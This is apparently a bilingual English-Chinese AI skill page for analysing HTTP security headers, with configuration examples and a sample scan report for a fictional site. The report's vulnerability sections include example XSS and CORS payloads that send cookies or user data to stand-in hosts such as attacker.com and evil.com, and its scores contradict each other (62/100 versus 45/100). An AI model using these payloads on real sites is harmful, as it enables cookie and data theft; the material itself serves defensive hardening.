security-headers
Compare original and translation side by side
🇺🇸
Original
English🇨🇳
Translation
ChineseSecurity Headers Skill
安全标头技能
Validate and implement HTTP security headers to protect web applications.
验证并实施HTTP安全标头,以保护Web应用程序。
Instructions
说明
You are a web security headers expert. When invoked:
-
Analyze Security Headers:
- Scan HTTP response headers
- Identify missing security headers
- Check header configurations
- Detect misconfigurations
- Validate CSP policies
- Review CORS settings
-
Security Assessment:
- Rate header security posture
- Identify vulnerabilities
- Check compliance with best practices
- Test for bypass techniques
- Validate header syntax
-
Attack Prevention:
- XSS (Cross-Site Scripting)
- Clickjacking
- MIME-sniffing attacks
- Man-in-the-Middle attacks
- Information disclosure
- Cache poisoning
- Protocol downgrade attacks
-
Compliance Checking:
- OWASP recommendations
- Security standards (PCI-DSS, HIPAA)
- Browser compatibility
- Performance impact assessment
-
Generate Report: Provide comprehensive header analysis with implementation guidance
您是Web安全标头专家。被调用时:
-
分析安全标头:
- 扫描HTTP响应标头
- 识别缺失的安全标头
- 检查标头配置
- 检测配置错误
- 验证CSP策略
- 审核CORS设置
-
安全评估:
- 对标头安全状况评级
- 识别漏洞
- 检查是否符合最佳实践
- 测试绕过技术
- 验证标头语法
-
攻击防护:
- XSS(跨站脚本攻击)
- 点击劫持
- MIME嗅探攻击
- 中间人攻击
- 信息泄露
- 缓存投毒
- 协议降级攻击
-
合规性检查:
- OWASP建议
- 安全标准(PCI-DSS、HIPAA)
- 浏览器兼容性
- 性能影响评估
-
生成报告: 提供包含实施指导的全面标头分析
Critical Security Headers
关键安全标头
Content Security Policy (CSP)
内容安全策略(CSP)
Purpose: Prevent XSS attacks by controlling resource loading
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'Directives:
- : Fallback for other directives
default-src - : JavaScript sources
script-src - : CSS sources
style-src - : Image sources
img-src - : Font sources
font-src - : AJAX, WebSocket, EventSource
connect-src - : Iframe sources
frame-src - : Pages that can embed this page
frame-ancestors - : Base tag URLs
base-uri - : Form submission targets
form-action
用途: 通过控制资源加载防止XSS攻击
http
Content-Security-Policy: default-src 'self'; script-src 'self' https://trusted.cdn.com; style-src 'self' 'unsafe-inline'; img-src 'self' data: https:; font-src 'self' https://fonts.googleapis.com; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'指令:
- : 其他指令的回退选项
default-src - : JavaScript源
script-src - : CSS源
style-src - : 图片源
img-src - : 字体源
font-src - : AJAX、WebSocket、EventSource
connect-src - : Iframe源
frame-src - : 可嵌入此页面的页面
frame-ancestors - : Base标签URL
base-uri - : 表单提交目标
form-action
Strict-Transport-Security (HSTS)
严格传输安全(HSTS)
Purpose: Force HTTPS connections
http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadParameters:
- : Duration in seconds (recommended: 31536000 = 1 year)
max-age - : Apply to all subdomains
includeSubDomains - : Include in browser preload lists
preload
用途: 强制使用HTTPS连接
http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload参数:
- : 有效期(秒)(推荐值:31536000 = 1年)
max-age - : 应用于所有子域名
includeSubDomains - : 加入浏览器预加载列表
preload
X-Frame-Options
X-Frame-Options
Purpose: Prevent clickjacking attacks
http
X-Frame-Options: DENYValues:
- : Cannot be framed at all
DENY - : Can only be framed by same origin
SAMEORIGIN - : Deprecated, use CSP instead
ALLOW-FROM uri
用途: 防止点击劫持攻击
http
X-Frame-Options: DENY取值:
- : 完全不允许被嵌入框架
DENY - : 仅允许同源页面嵌入
SAMEORIGIN - : 已弃用,建议使用CSP替代
ALLOW-FROM uri
X-Content-Type-Options
X-Content-Type-Options
Purpose: Prevent MIME-sniffing attacks
http
X-Content-Type-Options: nosniff用途: 防止MIME嗅探攻击
http
X-Content-Type-Options: nosniffX-XSS-Protection
X-XSS-Protection
Purpose: Enable browser XSS filter (legacy, CSP is preferred)
http
X-XSS-Protection: 1; mode=blockNote: Deprecated in favor of Content-Security-Policy
用途: 启用浏览器XSS过滤器(已过时,推荐使用CSP)
http
X-XSS-Protection: 1; mode=block注意: 已被Content-Security-Policy取代
Referrer-Policy
Referrer-Policy
Purpose: Control referrer information
http
Referrer-Policy: strict-origin-when-cross-originValues:
- : Never send referrer
no-referrer - : Default behavior
no-referrer-when-downgrade - : Send only origin
origin - : Full URL for same-origin
origin-when-cross-origin - : Only for same-origin requests
same-origin - : Origin only, not on HTTPS→HTTP
strict-origin - : Recommended
strict-origin-when-cross-origin - : Always send full URL (not recommended)
unsafe-url
用途: 控制引用信息的传递
http
Referrer-Policy: strict-origin-when-cross-origin取值:
- : 绝不发送引用信息
no-referrer - : 默认行为
no-referrer-when-downgrade - : 仅发送源信息
origin - : 同源请求发送完整URL
origin-when-cross-origin - : 仅同源请求发送引用信息
same-origin - : 仅发送源信息,HTTPS转HTTP时不发送
strict-origin - : 推荐配置
strict-origin-when-cross-origin - : 始终发送完整URL(不推荐)
unsafe-url
Permissions-Policy
Permissions-Policy
Purpose: Control browser features and APIs
http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()用途: 控制浏览器功能与API的访问
http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=()Cross-Origin Headers
跨源标头
CORP (Cross-Origin-Resource-Policy)
CORP(Cross-Origin-Resource-Policy)
http
Cross-Origin-Resource-Policy: same-originhttp
Cross-Origin-Resource-Policy: same-originCOEP (Cross-Origin-Embedder-Policy)
COEP(Cross-Origin-Embedder-Policy)
http
Cross-Origin-Embedder-Policy: require-corphttp
Cross-Origin-Embedder-Policy: require-corpCOOP (Cross-Origin-Opener-Policy)
COOP(Cross-Origin-Opener-Policy)
http
Cross-Origin-Opener-Policy: same-originhttp
Cross-Origin-Opener-Policy: same-originUsage Examples
使用示例
@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000@security-headers
@security-headers https://example.com
@security-headers --check-csp
@security-headers --report
@security-headers --fix
@security-headers localhost:3000Header Scanning Commands
标头扫描命令
Using curl
使用curl
bash
undefinedbash
undefinedCheck all headers
检查所有标头
curl -I https://example.com
curl -I https://example.com
Check specific header
检查特定标头
curl -I https://example.com | grep -i "content-security-policy"
curl -I https://example.com | grep -i "content-security-policy"
Follow redirects
跟随重定向
curl -IL https://example.com
curl -IL https://example.com
Detailed headers
详细标头信息
curl -v https://example.com 2>&1 | grep -i "^< "
undefinedcurl -v https://example.com 2>&1 | grep -i "^< "
undefinedUsing online tools
使用在线工具
bash
undefinedbash
undefinedMozilla Observatory
Mozilla Observatory
Security Headers
Security Headers
undefinedundefinedUsing custom scripts
使用自定义脚本
bash
undefinedbash
undefinedNode.js header checker
Node.js 标头检查器
node check-headers.js https://example.com
node check-headers.js https://example.com
Python header scanner
Python 标头扫描器
python3 scan_headers.py https://example.com
undefinedpython3 scan_headers.py https://example.com
undefinedSecurity Headers Report Format
安全标头报告格式
markdown
undefinedmarkdown
undefinedSecurity Headers Analysis Report
安全标头分析报告
Website: https://example.com
Scan Date: 2024-01-15 14:30:00 UTC
Scanner: Security Headers Analyzer v2.0
网站: https://example.com
扫描日期: 2024-01-15 14:30:00 UTC
扫描工具: Security Headers Analyzer v2.0
Overall Security Score
整体安全评分
Grade: C
Score: 62/100
🔴 Critical Issues: 2
🟠 High Priority: 3
🟡 Medium Priority: 4
🟢 Low Priority: 2
Status: ⚠️ NEEDS IMPROVEMENT
等级: C
分数: 62/100
🔴 严重问题: 2
🟠 高优先级: 3
🟡 中优先级: 4
🟢 低优先级: 2
状态: ⚠️ 需要改进
Executive Summary
执行摘要
Your website is vulnerable to several common attacks due to missing or misconfigured security headers. The most critical issues are:
- Missing Content-Security-Policy (enables XSS attacks)
- Missing Strict-Transport-Security (vulnerable to MITM)
- Permissive CORS configuration
Immediate Actions Required: Implement CSP and HSTS headers
您的网站因缺失或配置错误的安全标头,面临多种常见攻击风险。最严重的问题包括:
- 缺失Content-Security-Policy(易受XSS攻击)
- 缺失Strict-Transport-Security(易受中间人攻击)
- CORS配置过于宽松
立即行动: 实施CSP和HSTS标头
Header Analysis
标头分析
✅ Headers Present (3)
✅ 已配置的标头 (3)
X-Content-Type-Options: nosniff
X-Content-Type-Options: nosniff
Status: ✅ Correctly configured
Grade: A+
Purpose: Prevents MIME-sniffing attacks
http
X-Content-Type-Options: nosniffImpact: Prevents browsers from interpreting files as different MIME types
Recommendation: Keep this header
状态: ✅ 配置正确
等级: A+
用途: 防止MIME嗅探攻击
http
X-Content-Type-Options: nosniff影响: 阻止浏览器将文件解析为其他MIME类型
建议: 保持此配置
X-Frame-Options: DENY
X-Frame-Options: DENY
Status: ✅ Correctly configured
Grade: A+
Purpose: Prevents clickjacking attacks
http
X-Frame-Options: DENYImpact: Prevents page from being embedded in frames
Recommendation: Keep this header
Note: Consider migrating to CSP frame-ancestors directive
状态: ✅ 配置正确
等级: A+
用途: 防止点击劫持攻击
http
X-Frame-Options: DENY影响: 阻止页面被嵌入框架
建议: 保持此配置
注意: 考虑迁移到CSP的frame-ancestors指令
Referrer-Policy: strict-origin-when-cross-origin
Referrer-Policy: strict-origin-when-cross-origin
Status: ✅ Good configuration
Grade: A
Purpose: Controls referrer information leakage
http
Referrer-Policy: strict-origin-when-cross-originImpact: Balances privacy and functionality
Recommendation: Optimal setting for most applications
状态: ✅ 配置良好
等级: A
用途: 控制引用信息泄露
http
Referrer-Policy: strict-origin-when-cross-origin影响: 在隐私与功能间取得平衡
建议: 适合大多数应用的最优设置
❌ Missing Headers (5)
❌ 缺失的标头 (5)
Content-Security-Policy
Content-Security-Policy
Status: 🔴 MISSING - CRITICAL
Grade: F
Risk: High - XSS attacks possible
Current: Not set
Impact:
- No protection against XSS attacks
- JavaScript can be injected from any source
- Inline scripts execute without restriction
- Third-party resources load without control
Vulnerability Example:
html
<!-- Attacker can inject: -->
<script>
// Steal cookies
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// Hijack session
window.location = 'https://attacker.com/phishing';
</script>Recommended Configuration:
http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requestsImplementation:
Express.js:
javascript
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));Nginx:
nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;Apache:
apache
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"Testing:
javascript
// Use CSP in report-only mode first
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// Backend endpoint to collect violations
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});Priority: P0 - Implement immediately
状态: 🔴 缺失 - 严重
等级: F
风险: 高 - 可能遭受XSS攻击
当前状态: 未设置
影响:
- 无XSS攻击防护
- JavaScript可从任意源注入
- 内联脚本可无限制执行
- 第三方资源可无控制加载
漏洞示例:
html
<!-- 攻击者可注入: -->
<script>
// 窃取Cookie
fetch('https://attacker.com/steal?cookie=' + document.cookie);
// 劫持会话
window.location = 'https://attacker.com/phishing';
</script>推荐配置:
http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests实现方式:
Express.js:
javascript
const helmet = require('helmet');
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "'nonce-{random}'"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "https:", "data:"],
fontSrc: ["'self'"],
connectSrc: ["'self'", "https://api.example.com"],
frameAncestors: ["'none'"],
baseUri: ["'self'"],
formAction: ["'self'"],
upgradeInsecureRequests: []
}
}));Nginx:
nginx
add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests" always;Apache:
apache
Header always set Content-Security-Policy "default-src 'self'; script-src 'self' 'nonce-{random}'; style-src 'self' 'unsafe-inline'; img-src 'self' https: data:; font-src 'self'; connect-src 'self' https://api.example.com; frame-ancestors 'none'; base-uri 'self'; form-action 'self'; upgrade-insecure-requests"测试方法:
javascript
// 先使用仅报告模式
Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report
// 后端端点收集违规信息
app.post('/csp-report', (req, res) => {
console.log('CSP Violation:', req.body);
res.status(204).end();
});优先级: P0 - 立即实施
Strict-Transport-Security
Strict-Transport-Security
Status: 🔴 MISSING - CRITICAL
Grade: F
Risk: High - MITM attacks possible
Current: Not set
Impact:
- No forced HTTPS
- Vulnerable to SSL stripping attacks
- Man-in-the-Middle attacks possible
- Session hijacking risk
Vulnerability Example:
User types: http://example.com
→ Attacker intercepts unencrypted initial request
→ Serves malicious page or steals credentials
→ Even if site redirects to HTTPS, initial request is vulnerableRecommended Configuration:
http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preloadImplementation:
Express.js:
javascript
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));Nginx:
nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;Apache:
apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"Prerequisites:
- ✅ HTTPS fully working on all subdomains
- ✅ Valid SSL certificate
- ✅ No HTTP-only subdomains you want to keep
HSTS Preload Submission:
1. Visit: https://hstspreload.org/
2. Ensure max-age >= 31536000 (1 year)
3. Include includeSubDomains directive
4. Include preload directive
5. Submit domain for preload listWarning:
- Start with short max-age (e.g., 300) for testing
- Increase gradually: 300 → 86400 → 2592000 → 31536000
- Preloading is difficult to undo
Priority: P0 - Implement immediately
状态: 🔴 缺失 - 严重
等级: F
风险: 高 - 可能遭受中间人攻击
当前状态: 未设置
影响:
- 无强制HTTPS访问
- 易受SSL剥离攻击
- 可能遭受中间人攻击
- 存在会话劫持风险
漏洞示例:
用户输入: http://example.com
→ 攻击者拦截未加密的初始请求
→ 提供恶意页面或窃取凭证
→ 即使网站重定向到HTTPS,初始请求仍存在漏洞推荐配置:
http
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload实现方式:
Express.js:
javascript
app.use(helmet.hsts({
maxAge: 31536000,
includeSubDomains: true,
preload: true
}));Nginx:
nginx
add_header Strict-Transport-Security "max-age=31536000; includeSubDomains; preload" always;Apache:
apache
Header always set Strict-Transport-Security "max-age=31536000; includeSubDomains; preload"前提条件:
- ✅ 所有子域名均已启用HTTPS
- ✅ 拥有有效的SSL证书
- ✅ 无需要保留的纯HTTP子域名
HSTS预加载提交:
1. 访问: https://hstspreload.org/
2. 确保max-age >= 31536000(1年)
3. 包含includeSubDomains指令
4. 包含preload指令
5. 提交域名到预加载列表警告:
- 测试阶段先使用短max-age(如300)
- 逐步增加时长: 300 → 86400 → 2592000 → 31536000
- 预加载后难以撤销
优先级: P0 - 立即实施
Permissions-Policy
Permissions-Policy
Status: 🟠 MISSING - HIGH
Grade: D
Risk: Medium - Unnecessary API access
Current: Not set
Impact:
- No control over browser features
- Third-party scripts can access camera, microphone, location
- Potential privacy violations
- Unexpected resource usage
Recommended Configuration:
http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()Implementation:
Express.js:
javascript
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});Nginx:
nginx
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;Custom Permissions (if you need specific features):
http
undefined状态: 🟠 缺失 - 高优先级
等级: D
风险: 中 - 不必要的API访问权限
当前状态: 未设置
影响:
- 无法控制浏览器功能访问
- 第三方脚本可访问摄像头、麦克风、位置信息
- 存在隐私泄露风险
- 可能出现意外资源占用
推荐配置:
http
Permissions-Policy: geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()实现方式:
Express.js:
javascript
app.use((req, res, next) => {
res.setHeader('Permissions-Policy',
'geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()'
);
next();
});Nginx:
nginx
add_header Permissions-Policy "geolocation=(), microphone=(), camera=(), payment=(), usb=(), magnetometer=(), gyroscope=(), accelerometer=(), interest-cohort=()" always;自定义权限(若需要特定功能):
http
undefinedAllow geolocation for your domain only
仅允许自身域名使用地理位置
Permissions-Policy: geolocation=(self), microphone=(), camera=()
Permissions-Policy: geolocation=(self), microphone=(), camera=()
Allow camera for specific domain
允许特定域名使用摄像头
Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
**Priority**: P1 - Implement within 7 days
---Permissions-Policy: camera=(self "https://trusted-video.com"), microphone=()
**优先级**: P1 - 7天内实施
---Cross-Origin-Resource-Policy
Cross-Origin-Resource-Policy
Status: 🟡 MISSING - MEDIUM
Grade: C
Recommended Configuration:
http
Cross-Origin-Resource-Policy: same-originImplementation:
javascript
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});Values:
- : Only same-origin requests (recommended)
same-origin - : Same-site requests allowed
same-site - : All origins allowed
cross-origin
Priority: P2 - Implement within 30 days
状态: 🟡 缺失 - 中优先级
等级: C
推荐配置:
http
Cross-Origin-Resource-Policy: same-origin实现方式:
javascript
app.use((req, res, next) => {
res.setHeader('Cross-Origin-Resource-Policy', 'same-origin');
next();
});取值:
- : 仅允许同源请求(推荐)
same-origin - : 允许同站点请求
same-site - : 允许所有源请求
cross-origin
优先级: P2 - 30天内实施
Cross-Origin-Embedder-Policy
Cross-Origin-Embedder-Policy
Status: 🟡 MISSING - MEDIUM
Grade: C
Recommended Configuration:
http
Cross-Origin-Embedder-Policy: require-corpPriority: P2 - Implement within 30 days
状态: 🟡 缺失 - 中优先级
等级: C
推荐配置:
http
Cross-Origin-Embedder-Policy: require-corp优先级: P2 - 30天内实施
⚠️ Misconfigured Headers (2)
⚠️ 配置错误的标头 (2)
Access-Control-Allow-Origin: *
Access-Control-Allow-Origin: *
Status: 🔴 CRITICAL MISCONFIGURATION
Grade: F
Risk: High - Open CORS policy
Current Configuration:
http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: trueIssue:
This configuration is dangerous and invalid. Wildcard (*) cannot be used with credentials.
Vulnerability:
javascript
// Any malicious site can make authenticated requests:
fetch('https://example.com/api/user/data', {
credentials: 'include' // Sends cookies
})
.then(res => res.json())
.then(data => {
// Attacker steals user data
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});Correct Configuration:
javascript
// Express.js - Dynamic CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});Using CORS middleware:
javascript
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));Nginx:
nginx
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;Priority: P0 - Fix immediately
状态: 🔴 严重配置错误
等级: F
风险: 高 - CORS策略过于开放
当前配置:
http
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true问题:
此配置危险且无效。通配符(*)不能与凭证(credentials)同时使用。
漏洞示例:
javascript
// 任意恶意站点均可发起认证请求:
fetch('https://example.com/api/user/data', {
credentials: 'include' // 发送Cookie
})
.then(res => res.json())
.then(data => {
// 攻击者窃取用户数据
fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify(data)
});
});正确配置:
javascript
// Express.js - 动态CORS
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com'
];
app.use((req, res, next) => {
const origin = req.headers.origin;
if (allowedOrigins.includes(origin)) {
res.setHeader('Access-Control-Allow-Origin', origin);
res.setHeader('Access-Control-Allow-Credentials', 'true');
}
next();
});使用CORS中间件:
javascript
const cors = require('cors');
app.use(cors({
origin: function(origin, callback) {
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
credentials: true,
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
exposedHeaders: ['X-Total-Count'],
maxAge: 600
}));Nginx:
nginx
set $cors_origin "";
if ($http_origin ~ "^https://(app|admin)\.example\.com$") {
set $cors_origin $http_origin;
}
add_header Access-Control-Allow-Origin $cors_origin always;
add_header Access-Control-Allow-Credentials true always;
add_header Access-Control-Allow-Methods "GET, POST, PUT, DELETE" always;
add_header Access-Control-Allow-Headers "Content-Type, Authorization" always;优先级: P0 - 立即修复
X-XSS-Protection: 1; mode=block
X-XSS-Protection: 1; mode=block
Status: ⚠️ DEPRECATED
Grade: C
Current Configuration:
http
X-XSS-Protection: 1; mode=blockIssue: This header is deprecated and can create security vulnerabilities in some browsers.
Recommendation: Remove this header and rely on Content-Security-Policy instead.
Migration:
javascript
// Remove X-XSS-Protection
// Instead, implement strong CSP
app.use(helmet({
xssFilter: false, // Disable deprecated header
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));Priority: P2 - Update configuration
状态: ⚠️ 已弃用
等级: C
当前配置:
http
X-XSS-Protection: 1; mode=block问题: 此标头已被弃用,在部分浏览器中可能引发安全漏洞。
建议: 删除此标头,依赖Content-Security-Policy提供防护。
迁移方案:
javascript
// 移除X-XSS-Protection
// 改为实施严格的CSP
app.use(helmet({
xssFilter: false, // 禁用已弃用的标头
contentSecurityPolicy: {
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'"]
}
}
}));优先级: P2 - 更新配置
Security Grade Breakdown
安全等级细分
| Category | Score | Grade |
|---|---|---|
| XSS Protection | 20/30 | D |
| Clickjacking Protection | 10/10 | A+ |
| HTTPS Enforcement | 0/20 | F |
| Information Disclosure | 15/15 | A |
| CORS Configuration | 0/15 | F |
| Browser Features | 0/10 | F |
| Overall | 45/100 | F |
| 分类 | 分数 | 等级 |
|---|---|---|
| XSS防护 | 20/30 | D |
| 点击劫持防护 | 10/10 | A+ |
| HTTPS强制 | 0/20 | F |
| 信息泄露防护 | 15/15 | A |
| CORS配置 | 0/15 | F |
| 浏览器功能控制 | 0/10 | F |
| 整体 | 45/100 | F |
Attack Vectors Still Possible
仍存在的攻击向量
1. Cross-Site Scripting (XSS)
1. 跨站脚本攻击(XSS)
Risk: CRITICAL
Reason: No Content-Security-Policy
Example Attack:
html
<!-- Stored XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- Reflected XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>Mitigation: Implement strict CSP
风险: 严重
原因: 无Content-Security-Policy
攻击示例:
html
<!-- 存储型XSS -->
<img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
<!-- 反射型XSS -->
https://example.com/search?q=<script>alert(document.cookie)</script>缓解措施: 实施严格的CSP
2. Man-in-the-Middle (MITM)
2. 中间人攻击(MITM)
Risk: CRITICAL
Reason: No HSTS header
Example Attack:
1. User connects to http://example.com (unencrypted)
2. Attacker intercepts and serves fake login page
3. User enters credentials
4. Attacker captures credentialsMitigation: Implement HSTS with preload
风险: 严重
原因: 无HSTS标头
攻击示例:
1. 用户访问http://example.com(未加密)
2. 攻击者拦截请求并提供虚假登录页面
3. 用户输入凭证
4. 攻击者获取凭证缓解措施: 实施带preload的HSTS
3. Cross-Origin Data Theft
3. 跨源数据窃取
Risk: HIGH
Reason: Permissive CORS configuration
Example Attack:
javascript
// From attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// Exfiltrate data
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});Mitigation: Restrict CORS to trusted origins only
风险: 高
原因: CORS配置过于宽松
攻击示例:
javascript
// 来自attacker.com:
fetch('https://example.com/api/sensitive-data', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
// 泄露数据
navigator.sendBeacon('https://attacker.com/log', JSON.stringify(data));
});缓解措施: 将CORS限制为可信源
Remediation Plan
修复计划
Phase 1: Critical (Immediate - 24 hours)
阶段1: 严重(立即 - 24小时内)
1. Fix CORS Misconfiguration
1. 修复CORS配置错误
javascript
// Remove wildcard CORS
- Access-Control-Allow-Origin: *
// Implement origin whitelist
+ Access-Control-Allow-Origin: https://app.example.comTesting:
bash
undefinedjavascript
// 移除通配符CORS
- Access-Control-Allow-Origin: *
// 实施源白名单
+ Access-Control-Allow-Origin: https://app.example.com测试:
bash
undefinedTest CORS from allowed origin
测试可信源的CORS
Test CORS from disallowed origin (should fail)
测试不可信源的CORS(应失败)
**Risk**: Medium (may break integrations)
**Estimated Time**: 2 hours
---
**风险**: 中(可能影响现有集成)
**预计耗时**: 2小时
---2. Implement HSTS
2. 实施HSTS
nginx
add_header Strict-Transport-Security "max-age=300" always;Testing Period: 5 minutes (max-age=300)
Full Implementation: Increase to 31536000 after testing
Testing:
bash
undefinednginx
add_header Strict-Transport-Security "max-age=300" always;测试周期: 5分钟(max-age=300)
完整实施: 测试后将max-age增加到31536000
测试:
bash
undefinedVerify HSTS header
验证HSTS标头
curl -I https://example.com | grep -i strict-transport-security
curl -I https://example.com | grep -i strict-transport-security
Test forced HTTPS
测试强制HTTPS
curl -IL http://example.com
curl -IL http://example.com
Should redirect to https://
应重定向到https://
**Risk**: Low
**Estimated Time**: 1 hour
---
**风险**: 低
**预计耗时**: 1小时
---Phase 2: High Priority (Within 7 days)
阶段2: 高优先级(7天内)
3. Implement Content-Security-Policy
3. 实施Content-Security-Policy
Week 1: Report-Only Mode
http
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-reportMonitor violations for 7 days
Week 2: Enforce Mode
http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...Testing:
bash
undefined第1周: 仅报告模式
http
Content-Security-Policy-Report-Only: default-src 'self'; script-src 'self'; report-uri /csp-report监控违规情况7天
第2周: 强制模式
http
Content-Security-Policy: default-src 'self'; script-src 'self' 'nonce-{random}'; ...测试:
bash
undefinedCheck CSP header
检查CSP标头
curl -I https://example.com | grep -i content-security-policy
curl -I https://example.com | grep -i content-security-policy
Verify CSP effectiveness
验证CSP有效性
Open DevTools Console, check for CSP violations
打开开发者工具控制台,检查CSP违规信息
**Risk**: High (may break functionality)
**Estimated Time**: 3-5 days (including testing)
---
**风险**: 高(可能影响功能)
**预计耗时**: 3-5天(含测试)
---4. Add Permissions-Policy
4. 添加Permissions-Policy
http
Permissions-Policy: geolocation=(), microphone=(), camera=()Risk: Low
Estimated Time: 1 hour
http
Permissions-Policy: geolocation=(), microphone=(), camera=()风险: 低
预计耗时: 1小时
Phase 3: Medium Priority (Within 30 days)
阶段3: 中优先级(30天内)
5. Implement Cross-Origin Headers
5. 实施跨源标头
http
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-originRisk: Medium
Estimated Time: 2-3 days
http
Cross-Origin-Resource-Policy: same-origin
Cross-Origin-Embedder-Policy: require-corp
Cross-Origin-Opener-Policy: same-origin风险: 中
预计耗时: 2-3天
6. Remove Deprecated Headers
6. 移除已弃用的标头
javascript
// Remove X-XSS-Protection
- X-XSS-Protection: 1; mode=blockRisk: Low
Estimated Time: 30 minutes
javascript
// 移除X-XSS-Protection
- X-XSS-Protection: 1; mode=block风险: 低
预计耗时: 30分钟
Implementation Code
实现代码
Complete Express.js Configuration
完整Express.js配置
javascript
